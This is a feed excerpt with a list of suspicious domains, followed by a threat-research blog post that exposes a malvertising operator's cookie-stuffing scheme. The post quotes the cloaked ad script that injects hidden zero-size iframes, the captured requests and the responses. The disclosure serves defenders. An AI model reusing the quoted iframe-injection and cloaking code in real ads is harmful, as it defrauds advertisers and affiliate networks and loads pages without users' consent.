*.w-t.homes  
*.x-y.store  
*.k-j.homes  
*.f-t.skin   
*.j-d.boats  
*.t-y.website
*.s-w.fun    
*.g-o.homes  
*.s-g.boats  
*.n-y.skin   
*.x-u.homes  
*.t-o.beauty 
*.v-e.boats  
*.u-c.cyou   
*.o-b.homes  
*.s-a.homes  
*.s-h.homes  
*.e-p.autos  
*.g-p.pics   
*.q-c.homes  
*.r-k.group  
*.f-o.boats  
*.s-p.autos  
*.t-g.skin   
*.g-j.skin   
*.v-e.cyou   
*.e-q.boats  
*.v-e.homes  
*.c-f.beauty 
*.e-v.boats  
*.a-b.pics   
*.c-c.autos  
*.b-f.beauty 
*.a-o.beauty 
*.e-z.homes  
*.c-d.homes  
*.f-b.boats  
*.c-t.beauty 
*.f-q.autos  
*.c-b.skin   
*.d-e.boats  
*.s-f.homes  
*.a-e.beauty 
*.b-s.boats  
*.d-g.autos  
*.c-a.boats  
*.c-a.cyou</code></pre>]]></content:encoded></item><item><title><![CDATA[Malvertiser Makes the Big Bucks on Black Friday]]></title><description><![CDATA[Confiant&#8217;s broad coverage in ad tech gives us visibility on some of the darkest corners of the ecosystem.]]></description><link>https://blog.confiant.com/p/malvertiser-makes-the-big-bucks-on-black-friday-637922cd5865</link><guid isPermaLink="false">https://blog.confiant.com/p/malvertiser-makes-the-big-bucks-on-black-friday-637922cd5865</guid><dc:creator><![CDATA[Confiant]]></dc:creator><pubDate>Fri, 20 Jan 2023 18:32:00 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!QTam!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2a88e426-98a2-4e89-b766-80ca3690e99e_624x624.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!QTam!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2a88e426-98a2-4e89-b766-80ca3690e99e_624x624.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!QTam!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2a88e426-98a2-4e89-b766-80ca3690e99e_624x624.png 424w, https://substackcdn.com/image/fetch/$s_!QTam!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2a88e426-98a2-4e89-b766-80ca3690e99e_624x624.png 848w, https://substackcdn.com/image/fetch/$s_!QTam!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2a88e426-98a2-4e89-b766-80ca3690e99e_624x624.png 1272w, https://substackcdn.com/image/fetch/$s_!QTam!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2a88e426-98a2-4e89-b766-80ca3690e99e_624x624.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!QTam!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2a88e426-98a2-4e89-b766-80ca3690e99e_624x624.png" width="624" height="624" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/2a88e426-98a2-4e89-b766-80ca3690e99e_624x624.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:624,&quot;width&quot;:624,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!QTam!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2a88e426-98a2-4e89-b766-80ca3690e99e_624x624.png 424w, https://substackcdn.com/image/fetch/$s_!QTam!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2a88e426-98a2-4e89-b766-80ca3690e99e_624x624.png 848w, https://substackcdn.com/image/fetch/$s_!QTam!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2a88e426-98a2-4e89-b766-80ca3690e99e_624x624.png 1272w, https://substackcdn.com/image/fetch/$s_!QTam!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2a88e426-98a2-4e89-b766-80ca3690e99e_624x624.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">The DatalyMedia Cookie Dragon (source: MidJourney)</figcaption></figure></div><p>Confiant&#8217;s broad coverage in ad tech gives us visibility on some of the darkest corners of the ecosystem. We are strong believers that to truly fight malvertisers, we have to understand their motives. Sometimes this brings us to researching some long standing and large scale (but neglected) attacks. While ad fraud is not normally our core focus at Confiant, we are always invested in exposing how threat actors use the programmatic process and ad networks for malicious purposes. Confiant has observed a cookie stuffing campaign running across multiple programmatic ad platforms with a specific uptick in Q4 around Black Friday. We refer to the actor behind this campaign as <strong>DatalyMedia</strong>, based on one of the legal entities they operate.</p><h2><strong>What is cookie stuffing?</strong></h2><p>Cookie stuffing is a form of ad fraud where the malicious campaign triggers arbitrary numbers of invalid ad conversions by generating fake clicks. Cookie stuffing can target cost-per-click (CPC) ad campaigns and various types of cost-per-lead (CPL) and cost-per-action (CPA) campaigns. Cookie stuffing is a source of invalid traffic (IVT) i.e.: ad fraud.</p><p>The common way to generate these fake clicks is to surreptitiously load click URLs in hidden iframes inside the ad as it renders.</p><h3><strong>Risks of cookie stuffing</strong></h3><p><em>For advertisers</em>: Cookie stuffing skews targeted data and degrades campaign performance</p><p><em>For publishers</em>: Cookie stuffing causes significant page latency due to massive network load when advertising landing pages load in hidden iframes</p><p><em>For both</em>:<br>&#8226; Lack of user consent for the rogue tracking / privacy compliance violations create liabilities<br>&#8226; Fake conversions from cookie stuffing steal money from the ad ecosystem</p><p>According to our internal data, DatalyMedia has been specializing in affiliate marketing fraud (by executing cookie stuffing schemes) since at least 2015. Much of the infrastructure, tactics and techniques employed have remained rather stable over time.</p><p>We have identified four legal entities who have been involved in the DatalyMedia cookie stuffing scheme:<br>&#8226; Just Media Group (fka JustClick Media)<br>&#8226; Dataly Media<br>&#8226; Eficads<br>&#8226; Tredia Solutions</p><p>In addition to the techniques presented below, DatalyMedia has been observed using various tactics to maintain its presence in the ad tech ecosystem:<br>&#8226; Creating many ad serving domains &#8212; over a hundred since inception. A full list of IOCs is presented in the appendix.<br>&#8226; Partnering with many ad platforms: DatalyMedia has been active on at least 4 different advertising demand side platforms (DSPs) in 2022.<br>&#8226; Inquiring to ad security vendors about the status of their domains claiming legitimate needs</p><h2><strong>Technical Analysis / Cloaking</strong></h2><p>To circumvent detection, DatalyMedia leverages cloaking.</p><h3><strong>Script Execution Flow</strong></h3><p>The script that DatalyMedia executes has a cloaking component that conditionally loads one or multiple hidden iframes.</p><pre><code><strong>GET</strong> 
https://dugqz5bb8j.execute-api.eu-west-2.amazonaws.com/t/get/
RVKTdRpig1AgtgNXoDRQd46L?mmid=1&amp;siteId=276777&amp;referrer=https://
www.google.com/&amp;exchange=cas&amp;siteUrl=www.voici.fr&amp;strategy=12607048&amp;
campaignId=1245138&amp;creativeId=8521972&amp;rn=4048973770536923350</code></pre><p>If the cloaking test is not passed successfully, the iframe is replaced with an empty image:</p><pre><code>if(document.getElementById(&#8221;RVKTdRpig1AgtgNXoDRQd46L&#8221;)) 
document.getElementById(&#8221;RVKTdRpig1AgtgNXoDRQd46L&#8221;)
.insertAdjacentHTML(&#8217;beforeend&#8217;, 
&#8216;&lt;<strong>img</strong> src=&#8221;data:image/gif;base64,R0lGODlhAQABAIAAAP///
wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==&#8221; style=&#8221;position: relative; 
top: 0; left: 0;&#8221;&gt;&#8217;);</code></pre><p>When cloaking is passed, the iframe URL then redirects to a secondary domain (theblueaffiliate.net), itself equipped with similar cloaking (likely to prevent third-parties from replaying the chain without knowledge of the targeting details):</p><pre><code>if(document.getElementById(&#8221;RVKTdRpig1AgtgNXoDRQd46L&#8221;)) 
document.getElementById(&#8221;RVKTdRpig1AgtgNXoDRQd46L&#8221; )
.insertAdjacentHTML(&#8217;beforeend&#8217;, 
&#8216;&lt;<strong>iframe src=&#8221;https://dugqz5bb8j.execute-api.eu-west-2.amazonaws.com/</strong>
t/trk/RVKTdRpig1AgtgNXoDRQd46L/?c2=true&amp;campaignId=1245138&amp;
creativeId=8521972&amp;exchange=cas&amp;mmid=1&amp;
referrer=https%3A%2F%2Fwww.google.com%2F&amp;rn=4048973770536923350&amp;
siteId=276777&amp;siteUrl=www.voici.fr&amp;strategy=12607048&#8221; width=&#8221;0&#8221; height=&#8221;0&#8221; 
scrolling=&#8221;no&#8221; frameborder=&#8221;0&#8221; framespacing=&#8221;0&#8221; 
sandbox=&#8221;allow-scripts allow-forms allow-pointer-lock allow-same-origin&#8221; 
style=&#8221;position: relative; top: 0; left: 0;&#8221;&gt;&lt;/iframe&gt;&#8217;);</code></pre><h3><strong>Script Execution Output</strong></h3><p>We see how the HTML is rendered for each instance.</p><pre><code><strong>GET</strong> 
https://lnk.theblueaffiliate.net/trk/RVKTdRpig1AgtgNXoDRQd46L?
c2=true&amp;campaignId=1245138&amp;creativeId=8521972&amp;exchange=cas&amp;mmid=1&amp;
referrer=https://www.google.com/&amp;rn=4048973770536923350&amp;siteId=276777&amp;
siteUrl=www.voici.fr&amp;strategy=12607048</code></pre><p>Cloaking not passed, an empty image is loaded:</p><pre><code>&lt;!DOCTYPE HTML&gt;
&lt;html&gt;
&lt;head&gt;
  &lt;title&gt;&lt;/title&gt;
  &lt;link rel=&#8221;icon&#8221; type=&#8221;image/gif&#8221; href=&#8221;data:image/gif;base64,
    R0lGODlhAQABAPAAAAAAAAAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==&#8221;/&gt;
  &lt;meta http-equiv=&#8221;Content-Type&#8221; content=&#8221;text/html; charset=UTF-8&#8221; /&gt;
  &lt;meta name=&#8221;robots&#8221; content=&#8221;noindex, nofollow&#8221;/&gt;
&lt;/head&gt;
&lt;body&gt;
&lt;img src=&#8221;https://lnk.theblueaffiliate.net/img/pix.jpg&#8221; /&gt;
&lt;/body&gt;
&lt;/html&gt;</code></pre><p>Cloaking passed:</p><pre><code>&lt;!DOCTYPE HTML&gt;
&lt;html&gt;
&lt;head&gt;
  &lt;title&gt;&lt;/title&gt;
  &lt;link rel=&#8221;icon&#8221; type=&#8221;image/gif&#8221; href=&#8221;data:image/gif;base64,
    R0lGODlhAQABAPAAAAAAAAAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==&#8221;/&gt;
  &lt;meta http-equiv=&#8221;Content-Type&#8221; content=&#8221;text/html; charset=UTF-8&#8221; /&gt;
  &lt;meta name=&#8221;robots&#8221; content=&#8221;noindex, nofollow&#8221;/&gt;
&lt;/head&gt;
&lt;body&gt;
&lt;div data-trkDelay=&#8221;5000&#8221;&gt;
  &lt;div class=&#8221;frame&#8221;
    data-val=&#8221;https://lnk.theblueaffiliate.net?
      bt=lnk.thebigadsstore.com&amp;amp;
      ref=https%3A%2F%2Fwww.tudn.mx%2F&amp;amp;friend=&amp;amp;
      u=perf.af.datatechads.com%252Fts%252Fi5047728%252Ftsc%253Ftyp%253Dr
      %2526amc%253Daff.eficads.373016.506668.CRT3CYjXlY2%2526smc1
      %253D636ebe2d0817d25eae5611ae-RL-259754%2526smc5
      %253Dlnk.thebigadsstore.com%25252Fref%25252Fwww.tudn.mx%25252F&amp;amp;
      log=false&amp;amp;type=ROTATOR_LINK&amp;amp;linkId=259754&amp;amp;
      clickId=636ebe2d0817d25eae5611ae&amp;amp;br=false&#8221; 
    data-sb=&#8221;allow-scripts allow-forms allow-pointer-lock 
      allow-same-origin&#8221; 
    data-refIframe=&#8221;false&#8221; 
    data-refreshUrl=&#8221;https://www.elektra.mx/colchones%20matrimoniales%20
      spring%20air?utm_source=Afiliados&amp;amp;utm_medium=Eficads&amp;amp;
      utm_campaign=Descuentos-M%C3%A1ximos-Mensuales__&amp;amp;utm_term=
      DisplayAd&amp;amp;utm_source=Afiliados&amp;amp;utm_medium=Eficads&amp;amp;
      utm_campaign=Descuentos-M%C3%A1ximos-Mensuales__&amp;amp;
      utm_term=DisplayAd&#8221; 
    data-pv=&#8221;20&#8221; data-vt=&#8221;15&#8221; data-gid=&#8221;UA-3164251-1&#8221; 
    data-pt=&#8221;colchones matrimoniales spring air - Elektra en L&#237;nea&#8221; 
    data-ptconfig=&#8221;{&amp;quot;cs&amp;quot;:&amp;quot;Tredia&amp;quot;,&amp;quot;cc&amp;quot;:
      &amp;quot;259754&amp;quot;,&amp;quot;ck&amp;quot;:37766,&amp;quot;cm&amp;quot;:&amp;quot;
      Eficads&amp;quot;,&amp;quot;cn&amp;quot;:&amp;quot;Elektra Colchones&amp;quot;,&amp;quot;
      tid&amp;quot;:&amp;quot;UA-207019490-1&amp;quot;}&#8221;&gt;
  &lt;/div&gt; 
  &lt;script src=&#8221;<strong>https://lnk.theblueaffiliate.net/js/c.js</strong>&#8220;&gt;&lt;/script&gt;
&lt;/div&gt;
&lt;/body&gt;
&lt;/html&gt;</code></pre><p>If cloaking passes, the script at <code>https://lnk.theblueaffiliate.net/js/c.js</code> waits 5 seconds (another precaution to avoid detection) then loads the URLs provided in the <em>data-val </em>parameter inside iframes. This causes the advertiser URLs to load as if the user had clicked it along with DatalyMedia&#8217;s click tracker (<code>perf.af.datatechads.com</code>). For example:</p><pre><code>https://perf.af.datatechads.com/ts/i5047728/tsc?typ=r&amp;
amc=aff.eficads.373016.506668.CRT3CYjXlY2&amp;smc1=636ebe2d0817d25eae5611ae-RL-
259754&amp;smc5=lnk.thebigadsstore.com%2Fref%2Fwww.tudn.mx%2F</code></pre><p>=&gt;</p><pre><code>https://www.elektra.mx/colchones%20matrimoniales%20spring%20air?
_q=colchones%20matrimoniales%20spring%20air&amp;map=ft?
cmpid=Afiliados:Eficads:DescuentosM%C3%A1ximosMensuales:Performance:
DisplayAd:EKT-HOG-COL::Na-Cluster&amp;utm_source=Afiliados&amp;
utm_medium=Eficads&amp;utm_campaign=Descuentos-M%C3%A1ximos-Mensuales__&amp;
utm_term=DisplayAd&amp;utm_source=Afiliados&amp;utm_medium=Eficads&amp;
utm_campaign=Descuentos-M%C3%A1ximos-Mensuales__&amp;utm_term=DisplayAd</code></pre><p>Elektra&#8217;s whole website is now loading as a hidden iframe in the ad, conversion trackers and all.</p><h3><strong>Laundering via network of fake sites</strong></h3><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!tGk-!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6b4a8d0e-2324-4b5a-8555-17210a4429d1_875x489.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!tGk-!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6b4a8d0e-2324-4b5a-8555-17210a4429d1_875x489.png 424w, https://substackcdn.com/image/fetch/$s_!tGk-!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6b4a8d0e-2324-4b5a-8555-17210a4429d1_875x489.png 848w, https://substackcdn.com/image/fetch/$s_!tGk-!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6b4a8d0e-2324-4b5a-8555-17210a4429d1_875x489.png 1272w, https://substackcdn.com/image/fetch/$s_!tGk-!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6b4a8d0e-2324-4b5a-8555-17210a4429d1_875x489.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!tGk-!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6b4a8d0e-2324-4b5a-8555-17210a4429d1_875x489.png" width="875" height="489" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/6b4a8d0e-2324-4b5a-8555-17210a4429d1_875x489.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:489,&quot;width&quot;:875,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!tGk-!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6b4a8d0e-2324-4b5a-8555-17210a4429d1_875x489.png 424w, https://substackcdn.com/image/fetch/$s_!tGk-!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6b4a8d0e-2324-4b5a-8555-17210a4429d1_875x489.png 848w, https://substackcdn.com/image/fetch/$s_!tGk-!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6b4a8d0e-2324-4b5a-8555-17210a4429d1_875x489.png 1272w, https://substackcdn.com/image/fetch/$s_!tGk-!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6b4a8d0e-2324-4b5a-8555-17210a4429d1_875x489.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>DatalyMedia&#8217;s trip to the cleaners</p><pre><code><strong>The Players</strong>

+---------------------+---------------------------------------------------+
| Publisher A         | One of the numerous publishers serving            |
|                     | programmatic ads and exposed to DatalyMedia&#8217;s     |
|                     | cookie stuffing scheme                            |
+---------------------+---------------------------------------------------+
| Brand X             | One of the numerous brands running performance    |
|                     | marketing campaigns via DatalyMedia (directly     |
|                     | or indirectly)                                    |
+---------------------+---------------------------------------------------+
| Bad Publisher B     | One of the numerous publishers operated by        |
|                     | DatalyMedia to launder fake conversions           |
+---------------------+---------------------------------------------------+
| Publisher C         | One of the numerous publishers serving native ads |
|                     | and unwittingly reating legitimate traffic for    |
|                     | DatalyMedia&#8217;s Bad Publisher B and others          |
+---------------------+---------------------------------------------------+
| Affiliate Network D | An affiliate network incorrectly attributing      |
|                     | conversions to Bad Publisher B. DatalyMedia       |
|                     | DatalyMedia leveraged both third-party networks   |
|                     | as well as their own.                             |
+---------------------+---------------------------------------------------+</code></pre><p>DatalyMedia creates two traffic paths, a &#8220;dirty&#8221; one (committing fraud) and a &#8220;clean&#8221; one, with legitimate traffic used for laundering the dirty one.</p><p>In the dirty path, DatalyMedia serves display advertisements (programmatic ads render on <strong>Publisher A</strong>&#8217;s website above). These ads use cloaking to hide the cookie stuffing scheme: Full execution of click tracking URLs in an invisible iframe.</p><p>Incidentally, the brand represented in the ad creative here is unrelated to the abused brand in the cookie stuffing scheme. E.g. Tommy Hilfiger:</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!dZFC!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F26f7f68c-72e5-4a01-abc1-b4edf9c361f4_300x250.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!dZFC!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F26f7f68c-72e5-4a01-abc1-b4edf9c361f4_300x250.png 424w, https://substackcdn.com/image/fetch/$s_!dZFC!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F26f7f68c-72e5-4a01-abc1-b4edf9c361f4_300x250.png 848w, https://substackcdn.com/image/fetch/$s_!dZFC!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F26f7f68c-72e5-4a01-abc1-b4edf9c361f4_300x250.png 1272w, https://substackcdn.com/image/fetch/$s_!dZFC!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F26f7f68c-72e5-4a01-abc1-b4edf9c361f4_300x250.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!dZFC!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F26f7f68c-72e5-4a01-abc1-b4edf9c361f4_300x250.png" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/26f7f68c-72e5-4a01-abc1-b4edf9c361f4_300x250.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:null,&quot;width&quot;:null,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!dZFC!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F26f7f68c-72e5-4a01-abc1-b4edf9c361f4_300x250.png 424w, https://substackcdn.com/image/fetch/$s_!dZFC!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F26f7f68c-72e5-4a01-abc1-b4edf9c361f4_300x250.png 848w, https://substackcdn.com/image/fetch/$s_!dZFC!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F26f7f68c-72e5-4a01-abc1-b4edf9c361f4_300x250.png 1272w, https://substackcdn.com/image/fetch/$s_!dZFC!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F26f7f68c-72e5-4a01-abc1-b4edf9c361f4_300x250.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a><figcaption class="image-caption">https://d2p7g6leq64sfi.cloudfront.net/jcm-mm/e9701276d35212521e9e71ac18a8cb88.jpeg</figcaption></figure></div><p>The scheme gets complicated by the use of an intermediary website (<strong>Bad Publisher B</strong>), which serves to make the conversions look legitimate to the defrauded affiliate networks and brands.</p><p>The &#8220;dirty&#8221; path uses a POST HTTP request to <strong>Bad Publisher B</strong> while the &#8220;clean&#8221; path uses a GET request. Let&#8217;s review the execution of both paths with an example.</p><p><strong>Bad Publisher B</strong> as open redirector via <code>POST</code> request</p><pre><code><strong>POST</strong>  https://www.thetop3.com/uk/top-3-unique-gifts-for-your-soulmate/</code></pre><pre><code><strong>POST parameters</strong>

+------------+-------------------------------------------------+
| go         | 1                                               |
+------------+-------------------------------------------------+
| url        | www.linkbux.com%2Ftrack%2Fe266uWOnCOlkX6woQD    |
|            | CFs3dUTD57c2EajL_aOE9LBtEaNMDXGGuaAd0iCEANyHpwo |
|            | d2qxgTOd3maDVlg_c%3Furl%3Dhttps%253A%252F%252F  |
|            | beautyworksonline.com%252F%26uid%3D63523bd1767  |
|            | 55c47d5ce7d9f-RL-246703                         |
+------------+-------------------------------------------------+
| log        | false                                           |
+------------+-------------------------------------------------+
| type       |                                                 |
+------------+-------------------------------------------------+
| linkId     | 246703                                          |
+------------+-------------------------------------------------+
| clickId    | 63523bd176755c47d5ce7d9f                        |
+-----------+--------------------------------------------------+</code></pre><p><strong>Response content:</strong></p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!C__U!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F46cbd873-2d87-4bad-9450-eae19ba62f2a_788x68.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!C__U!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F46cbd873-2d87-4bad-9450-eae19ba62f2a_788x68.png 424w, https://substackcdn.com/image/fetch/$s_!C__U!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F46cbd873-2d87-4bad-9450-eae19ba62f2a_788x68.png 848w, 